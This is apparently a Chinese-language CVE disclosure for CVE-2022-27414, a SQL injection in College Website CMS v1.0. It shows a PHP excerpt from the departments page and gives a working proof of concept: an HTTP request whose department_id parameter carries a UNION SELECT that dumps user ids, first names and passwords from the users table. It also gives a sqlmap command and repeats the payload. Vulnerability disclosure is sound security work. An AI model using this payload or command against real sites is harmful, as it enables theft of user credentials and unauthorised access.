CVE-2022-27414 - SQL注入

College Website CMS v1.0 - CVE-2022-27414 - SQL注入

CVE 链接

---

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27414

以下为 PoC

漏洞代码

---

从 "cwms\departments\index.php" 的第 9 行开始

<?php
$departments = $conn->query("SELECT * FROM `department_list` where delete_flag = 0 and `status` = 1 order by `name` asc");
while ($row = $departments->fetch_assoc()):
?>
                    <div class="list-group-item">
                        <h3><b><?=$row['name'] ?></b></h3>
                        <hr>
                        <p><?=$row['description'] ?></p>
                        <div class="text-right">
                            <a href="./?p=courses&department_id=<?=$row['id'] ?>">List Courses</a>
                        </div>

请求 (PoC)

---

GET /cwms/?p=courses&department_id=1%27%20union%20all%20select%201,(SELECT+GROUP_CONCAT(id,firstname,password+SEPARATOR+0x3c62723e)+FROM+cwms_db.users),3,4,5,6,7--%20- HTTP/1.1
Host: 192.168.8.121
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b4rppi73ltkm5vh89ad4kl7p6m
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

sqlmap 命令 (自动)

---

sudo sqlmap -u 'http://localhost/cwms/?p=courses&department_id=1' --dbs

参数信息

Type : Union-based
payload : http://localhost/cwms/?p=courses&department_id=1' union all select 1 (SELECT+GROUP_CONCAT(id,firstname,password+SEPARATOR+0x3c62723e)+FROM+cwms_db.users),3,4,5,6,7-- -

发现者

Ayed AlQahtani